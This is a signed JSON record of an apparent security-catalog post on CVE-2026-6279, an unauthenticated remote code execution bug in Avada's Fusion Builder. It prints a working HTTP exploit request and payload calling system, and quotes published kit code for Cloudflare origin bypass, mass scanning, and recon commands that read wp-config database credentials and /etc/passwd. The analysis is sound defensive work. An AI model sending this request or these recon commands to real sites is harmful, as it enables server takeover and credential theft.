-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The `function` field was a function pointer table that had no table\n\nWordPress's conditional tag functions, `is_front_page`, `is_single`, `is_page`, `is_user_logged_in`, and the rest of `/wp-includes/query.php`, are the API for \"render this block when X is true.\" A page builder that wants to make blocks conditional on those calls has two options. It can write a switch over the known set of conditional tags, which encodes the set in source and refuses anything that does not appear in the switch. Or it can store the conditional tag's name as data and dispatch through it at runtime, which offloads the set to whatever the runtime considers a callable.\n\nFusion Builder picked the second. The `render_logics` attribute on a Fusion widget, declared at line 44 of `fusion-widget.php`, is a base64-encoded JSON array of logic clauses. A `wp_conditional_tags` clause has the shape `{\"type\":\"wp_conditional_tags\",\"value\":{\"function\":\"\",\"args\":\"\"}}`. The dispatcher in `Fusion_Builder_Conditional_Render_Helper::get_value()` reads `function` and `args` from the clause and hands them to `call_user_func`:\n\n```php\ncase 'wp_conditional_tags':\n $decoded = json_decode( base64_decode( $render_logics ), true );\n return call_user_func( $decoded['function'], $decoded['args'] );\n```\n\nTo a developer thinking in dispatch-table semantics, that line reads as \"look up the conditional tag named `function` and call it with `args`.\" There is no lookup. `call_user_func` accepts any string PHP can resolve as a callable: every WordPress core function, every active plugin's function, every PHP built-in that takes a single argument.\n\nThe allowlist is not missing because the developer forgot to add one. It is missing because the dispatcher was written under the assumption that the conditional-tags vocabulary lived somewhere the runtime would enforce. PHP keeps no such vocabulary. The function name comes from the JSON, PHP's runtime resolves it against the symbol table, and the dispatch happens. The developer's mental model of the operation was \"select from a table of conditional tags.\" PHP's behavior is \"resolve from the symbol table of every function that has been included.\" Both arrive at a function. The functions are not the same.\n\n`call_user_func` accepts a single argument, so the callable surface narrows to single-argument PHP functions that do useful work. The PoC enumerates the practical set: `system`, `passthru`, `shell_exec`, `exec`, `file_get_contents`. When `disable_functions` blocks the shell sinks, the kit falls through to `assert($php_code_string)`, which on PHP 7 evaluates an arbitrary PHP string inside the WordPress request and picks up whatever the configuration left unblocked. The narrowing is the runtime's, not the dispatcher's.\n\n## The nonce was not a CSRF token. It was a JavaScript variable.\n\n`wp_ajax_nopriv_fusion_get_widget_markup` is registered at line 389 of `fusion-widget.php`. The `nopriv` prefix is WordPress's documented mechanism for routing an admin-ajax action to an unauthenticated caller. The handler's first call is `check_ajax_referer( 'fusion_load_nonce' )`. The check passes when the caller supplies a nonce that `wp_verify_nonce` accepts for the action string `fusion_load_nonce`.\n\nThe nonce is minted in `class-fusion-builder.php` around line 7551, conditional on the current page containing either `[fusion_post_cards]` or `[fusion_table_of_contents]`. The mint runs in the public-page render path, for whatever user is rendering the page. For an anonymous visitor, that user ID is zero. WordPress nonces are tied to user ID, action name, and a roughly 12-to-24-hour time tick, so for user ID zero on a fixed action, the nonce is a deterministic function of the time tick and identical for every anonymous visitor inside the same window.\n\nThe mint is not the only handoff. The nonce is rendered into the page as a JavaScript object literal, `fusionPostCardsVars` or `fusionTableOfContentsVars`, so the page's own frontend scripts can post it back to admin-ajax. The literal sits inside a `\n```\n\nThe nonce is not secret. It is not session-bound. It is a string the server prints into a public page so the public page can use it. `check_ajax_referer` accepts that nonce. The handler walks the `render_logics` payload, reaches the `wp_conditional_tags` case, and calls `call_user_func`. The handler does not call `current_user_can`. It does not call `is_user_logged_in`. The nonce passed, and the privileged operation ran.\n\nThis is the pattern this catalog files under [nonce-is-not-auth](/patterns/nonce-is-not-auth), and at this point it has shipped, by our count, in [Pix for WooCommerce](/posts/pix-woocommerce-nonce-is-not-auth), [WP Maps Pro](/posts/wp-maps-pro-cve-2026-8732-temp-access-creates-admins), [RestroPress](/posts/restropress-token-is-issued-not-forged), and across the WordPress plugin ecosystem in a steady cadence. The Avada exhibit adds a sink the prior exhibits did not have. Earlier handlers in the pattern wrote a file to the webroot, or signed a Zoom SDK token, or invoked `wp_insert_user` with `role=administrator`. The Avada handler dispatches an arbitrary PHP function name. The privilege at the end of the chain is whatever PHP knows how to call.\n\n## The chain\n\nThe attacker fetches any URL on the target with the Avada theme that contains `[fusion_post_cards]` or `[fusion_table_of_contents]`. A page builder's \"blog\" page is the canonical home of the first shortcode, a documentation or FAQ page the canonical home of the second. The PoC's scanner prioritizes `/blog/`, `/news/`, `/portfolio/`, `/about/`, `/faq/`, `/docs/`, and walks the sitemap and REST API as fallback. A regex over the response body extracts the nonce from the JavaScript localizer.\n\nThe attacker constructs the payload as a base64-encoded JSON object naming the function to call:\n\n```json\n{\n \"type\": \"wp_conditional_tags\",\n \"value\": {\n \"function\": \"system\",\n \"args\": \"id\"\n }\n}\n```\n\nAnd POSTs it to `admin-ajax.php` with the harvested nonce:\n\n```http\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\nX-Requested-With: XMLHttpRequest\n\naction=fusion_get_widget_markup&fusion_load_nonce=b6d7b084c2&render_logics=eyJ0eXBlIjoid3BfY29uZGl0aW9uYWxfdGFncyIsInZhbHVlIjp7ImZ1bmN0aW9uIjoic3lzdGVtIiwiYXJncyI6ImlkIn19&widget_type=WP_Widget_Recent_Posts&type=WP_Widget_Recent_Posts&widget_id=2&number=2\n```\n\n`should_render()` at line 1083 of `class-fusion-builder-conditional-render-helper.php` deserializes `render_logics` and walks each clause. The `wp_conditional_tags` clause reaches `get_value()`. `call_user_func( 'system', 'id' )` runs in the WordPress request. The handler captures the output and returns it inside the AJAX response body:\n\n```\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\nThe chain is four lines of code reading attacker-supplied content as command. The chain is also four years of WordPress plugins shipping the same shape with a different sink.\n\n## What got published was not a verifier\n\nFour GitHub repositories appeared against CVE-2026-6279 within three weeks of the Wordfence report. Two of them, `xxconi/CVE-2026-6279` and `87achrafg-stack/CVE-2026-6279.py`, carry Python kits whose non-banner code overlaps line for line across roughly 1,250 lines. A third is the same kit with the Telegram channel signature removed. The fourth is a stripped 609-line variant. The kit is what the PoC actually is, and the kit is not a verifier.\n\n```python\nCF_RANGES = [\n \"103.21.\",\"103.22.\",\"103.31.\",\"104.16.\",\"104.17.\",\n \"104.18.\",\"104.19.\",\"104.20.\",\"104.21.\",\"104.22.\",\n \"108.162.\",\"131.0.\",\"141.101.\",\"162.158.\",\"172.64.\",\n ...\n]\n\ndef find_origin_ip(domain):\n subdomains = [\n f\"mail.{domain}\", f\"ftp.{domain}\", f\"smtp.{domain}\",\n f\"direct.{domain}\", f\"origin.{domain}\", f\"server.{domain}\",\n f\"cpanel.{domain}\", f\"webmail.{domain}\", f\"ns1.{domain}\",\n f\"ns2.{domain}\", f\"api.{domain}\", f\"dev.{domain}\",\n f\"staging.{domain}\", f\"test.{domain}\", f\"old.{domain}\",\n ...\n ]\n```\n\nThat block is a Cloudflare origin-IP bypass. The author enumerated twenty common subdomains expecting one of them to resolve to an unproxied origin IP, hardcoded Cloudflare's IPv4 ranges to filter known-proxied results, and tested each candidate for a 200 response on `/wp-admin/admin-ajax.php` with the target's Host header. A research PoC against a single test target does not need a Cloudflare bypass. An operator running this across a target list of WAF-fronted production sites does.\n\n```python\ndef mode_batch():\n fpath = prompt(\"targets file\", \"targets.txt\")\n threads = int(prompt(\"threads\", \"10\"))\n cmd = prompt(\"command\", \"id\")\n outfile = prompt(\"output file\", \"vuln.txt\")\n```\n\nThe batch-scan mode reads a list, runs the exploit on each in a worker pool, and writes successful results to `vuln.txt` in append mode across runs. A research PoC verifies one finding. This script accumulates a list of compromised hosts.\n\n```python\ndef _recon(sess,ajax_url,nonce,base,host=None):\n cmds=[\n (\"user\", \"id\"),\n (\"hostname\", \"hostname\"),\n (\"os\", \"uname -a\"),\n (\"wp-config\",\"find / -name wp-config.php 2>/dev/null | head -1 | \"\n \"xargs grep -E 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST' 2>/dev/null\"),\n (\"passwd\", \"cat /etc/passwd | grep -v nologin | grep -v false | head -6\"),\n (\"suid\", \"find / -perm -4000 -type f 2>/dev/null | head -6\"),\n ...\n ]\n```\n\nThe `recon` interactive command extracts WordPress database credentials, the local password file, and SUID binaries. The result writes to `recon__.txt` on the operator's disk. A `revshell` helper drops a connect-back bash, Python, or `mkfifo`+`nc` payload bound to the operator's choice of host and port. The interactive shell maintains a working directory and lets the operator `cd`, `upload`, `download`, and pivot. None of the operational surfaces are required to demonstrate the bug. All of them are required to use it.\n\nThe README files call the project a Proof of Concept. The README files also describe an operations console. The disclaimer paragraphs at the bottom of the same READMEs name the project \"yetkili güvenlik testleri ve eğitim amaçlı,\" authorized security testing and educational use. The 1,255-line kit, the Cloudflare bypass, the worker pool, the wp-config harvester, and the connect-back shell are not features any of those use cases require. This is the catalog's recurring [disclaimer-wrapped-campaign-kit](/patterns/disclaimer-wrapped-campaign-kit) shape, with the operator-facing surface attached as a menu.\n\n## What the patch addresses, and what it does not\n\nA patch can add an allowlist to the `wp_conditional_tags` branch. The candidate allowlist is the WordPress conditional-tag vocabulary the dispatcher was always intended to reach. Adding it closes the demonstrated chain.\n\n`Fusion_Builder_Conditional_Render_Helper::get_value()` is one of several `case` arms inside the same `switch`. Each arm resolves its own clause type. Each arm's safety depends on its own bounds. The design that produced an unbounded `wp_conditional_tags` arm is the design that produced its siblings, and the patch's audit-readable scope is one arm rather than the dispatcher's shape. The runtime substrate is the [content-is-command](/patterns/content-is-command) primitive that gave the `function` field the same authority PHP gives its own source.\n\nThe nonce mint to user ID zero is a separate question. Fusion Builder's frontend rendering for `[fusion_post_cards]` and `[fusion_table_of_contents]` is, by design, an AJAX flow anonymous visitors must reach. The plugin's contract is that an unauthenticated visitor can interact with those shortcodes. The nonce was added to gate the interaction. The interaction the gate was designed to protect, and the privileged operation behind the gate, share a handler. The gate cannot tell them apart, and the handler does not ask `current_user_can`.\n\nThe conditional-tags dispatcher was the right way to express the feature. It expressed the feature with a primitive that gave the dispatcher's input the same authority PHP gives its own source. The `function` field reached the symbol table.\n\nPoC: [xxconi/CVE-2026-6279](https://github.com/xxconi/CVE-2026-6279), [87achrafg-stack/CVE-2026-6279.py](https://github.com/87achrafg-stack/CVE-2026-6279.py)","closing_line":"The dispatcher was written for `is_front_page`. PHP resolves `system` from the same symbol table.","hook_md":"Avada Builder's `Fusion_Builder_Conditional_Render_Helper::get_value()` runs `call_user_func( $value['function'], $value['args'] )` in its `wp_conditional_tags` branch at line 1531 of `class-fusion-builder-conditional-render-helper.php`. The handler that reaches the method is registered as `wp_ajax_nopriv_fusion_get_widget_markup`. The nonce that gates it is minted by `wp_create_nonce( 'fusion_load_nonce' )` for user ID zero on every page that ships a `[fusion_post_cards]` or `[fusion_table_of_contents]` shortcode, and is inlined into the page as a JavaScript object the anonymous visitor's browser was supposed to read. CVE-2026-6279 is what happens when a dispatcher built around the WordPress conditional-tag API is told to call `system`, and `call_user_func` finds the function PHP keeps in the same symbol table.","post_id":623,"slug":"avada-builder-no-conditional-tag-table","title":"CVE-2026-6279: Avada Builder's call_user_func Has No Allowlist. PHP Has No Conditional-Tag Table.","type":"initial","unreadable_sentence":"PHP does not distinguish a conditional template tag from a system call. The `function` field reaches both."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCai16agAKCRDeZjl4jgkQ JtQhAQCuiYOkizP3gxLMEjeIpgIqTSg6/+XE3OvUhVbgJKiUkwD/fn7f4GNRb72+ OUKvs2XbA9fZYR4hVaGS03yzQZVFWws= =6hti -----END PGP SIGNATURE-----